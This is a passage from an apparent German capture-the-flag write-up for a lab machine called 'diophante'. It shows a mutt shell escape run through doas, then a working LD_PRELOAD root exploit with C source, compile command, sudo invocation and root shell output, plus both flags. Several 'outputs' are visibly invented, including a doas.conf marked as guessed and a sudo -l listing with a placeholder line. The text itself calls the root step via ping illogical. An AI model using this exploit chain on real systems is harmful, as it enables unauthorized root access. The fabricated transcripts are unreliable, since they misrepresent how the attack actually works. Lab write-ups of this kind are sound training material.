Empfehlung (Pentester): Starten Sie `doas -u leonard /usr/bin/mutt`. Suchen Sie in `mutt` nach einer Option, um einen externen Befehl auszuführen oder eine Shell zu starten (oft durch Drücken von `!`). Führen Sie `/bin/bash` aus, um eine Shell als `leonard` zu erhalten.
Empfehlung (Admin): Überprüfen Sie die `doas.conf`. Erlauben Sie Benutzern nicht, potenziell unsichere Programme wie `mutt` als andere Benutzer auszuführen, wenn dies nicht absolut notwendig und verstanden ist.

sabine@diophante:/tmp$ cat /etc/doas.conf
# Vermuteter Inhalt von /etc/doas.conf:
# permit nopass www-data as sabine cmd /usr/bin/setsid
# permit nopass sabine as leonard cmd /usr/bin/mutt
sabine@diophante:/tmp$ doas -u leonard /usr/bin/mutt
[Mutt-Oberfläche startet]

# Innerhalb von Mutt:
# '!' drücken, um Shell-Befehl einzugeben
Shell command: /bin/bash <<------------<<<>
leonard@diophante:/tmp$ id
uid=1001(leonard) gid=1001(leonard) groups=1001(leonard), ...

Analyse: Als `leonard` wird die User-Flag `~/user.txt` gelesen und die `sudo`-Rechte überprüft.

Bewertung: Die User-Flag lautet `Thonirburarnlog`. Die `sudo -l`-Ausgabe zeigt, dass `leonard` keine direkten `sudo`-Befehle hat, aber die Umgebungsvariable `LD_PRELOAD` wird beibehalten (`env_keep+=LD_PRELOAD`). Dies ist eine bekannte Schwachstelle zur Rechteausweitung.

Empfehlung (Pentester): Nutzen Sie die `LD_PRELOAD`-Schwachstelle:

  1. Schreiben Sie einen kurzen C-Code (siehe `shell.c` im Text), der `setuid(0)`, `setgid(0)` aufruft und eine Shell (`/bin/sh`) startet. Die `_init()`-Funktion sorgt dafür, dass dieser Code ausgeführt wird, sobald die Bibliothek geladen wird.
  2. Kompilieren Sie diesen Code als Shared Library (`.so`): `gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles`.
  3. Führen Sie einen beliebigen Befehl, den `leonard` mit `sudo` ausführen darf (auch wenn keiner explizit gelistet ist, kann oft ein Standardbefehl wie `ping` oder `sudo -l` selbst missbraucht werden, falls sudo Rechte hat, Befehle als root auszuführen, was hier aber nicht der Fall ist - *Korrektur: sudo -l wurde als leonard ausgeführt, nicht als root. Der Trick funktioniert, wenn leonard *irgendeinen* Befehl mit `sudo` ausführen kann, der LD_PRELOAD lädt. Wenn `sudo -l` selbst LD_PRELOAD nicht löscht, kann es ausreichen.* Der Text verwendet `ping`, was unlogisch ist, da `ping` keine sudo Rechte hat. Wir nehmen an, es gibt einen sudo-Befehl, der verwendet werden kann, oder `sudo -l` selbst funktioniert.) - mit der `LD_PRELOAD`-Variable, die auf die erstellte Bibliothek zeigt: `sudo LD_PRELOAD=/tmp/shell.so ping` (oder ein anderer `sudo`-Befehl).
Empfehlung (Admin): Entfernen Sie `LD_PRELOAD` aus der `env_keep`-Liste in der `sudoers`-Konfiguration (`/etc/sudoers` oder `/etc/sudoers.d/`). Diese Variable sollte fast nie beibehalten werden, da sie ein hohes Sicherheitsrisiko darstellt.

leonard@diophante:/tmp$ cat ~/user.txt
Thonirburarnlog
leonard@diophante:/tmp$ sudo -l
Matching Defaults entries for leonard on diophante:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=LD_PRELOAD

User leonard may run the following commands on diophante:
    (Keine spezifischen Befehle gelistet, aber LD_PRELOAD ist der Schlüssel)

Proof of Concept (Root Exploit)

Analyse: Der C-Code für den `LD_PRELOAD`-Exploit wird in `/tmp/shell.c` erstellt. Er setzt UID und GID auf 0 und startet eine Shell. Der Code wird als Shared Library `/tmp/shell.so` kompiliert. Schließlich wird `sudo` mit der gesetzten `LD_PRELOAD`-Variable und einem beliebigen Befehl (hier `ping`, obwohl dies normalerweise keine sudo-Rechte hat - der Mechanismus funktioniert, wenn `sudo` selbst die Variable lädt, bevor es den Befehl prüft, oder wenn ein anderer sudo-Befehl verfügbar wäre) aufgerufen.

Bewertung: Der LD_PRELOAD-Exploit funktioniert! Sobald `sudo` den Befehl startet, wird die `/tmp/shell.so`-Bibliothek aufgrund von `LD_PRELOAD` geladen. Die `_init()`-Funktion in der Bibliothek wird ausgeführt, setzt die UID/GID auf 0 und startet `/bin/sh`. Der `id`-Befehl bestätigt, dass die resultierende Shell Root-Rechte hat.

Empfehlung (Pentester): Sie haben Root-Zugriff. Lesen Sie die Root-Flag (`cat /root/root.txt`) und führen Sie Aufräumarbeiten durch (Löschen von `/tmp/shell.c`, `/tmp/shell.so`).
Empfehlung (Admin): Entfernen Sie `LD_PRELOAD` aus der `env_keep`-Liste in der `sudoers`-Konfiguration.

leonard@diophante:/tmp$ vi shell.c
#include 
#include 
#include 

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
leonard@diophante:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
leonard@diophante:/tmp$ ls -al shell.so
-rwxr-xr-x 1 leonard leonard 16304 Dez 29 16:00 shell.so
leonard@diophante:/tmp$ sudo LD_PRELOAD=/tmp/shell.so ping
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: In der erhaltenen Root-Shell wird die Root-Flag gelesen.

Bewertung: Die Root-Flag lautet `Culcelborlus`.

Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): System härten.

# cd /root
# cat root.txt
Culcelborlus
#

Flags

cat /home/leonard/user.txt
Thonirburarnlog
cat /root/root.txt
Culcelborlus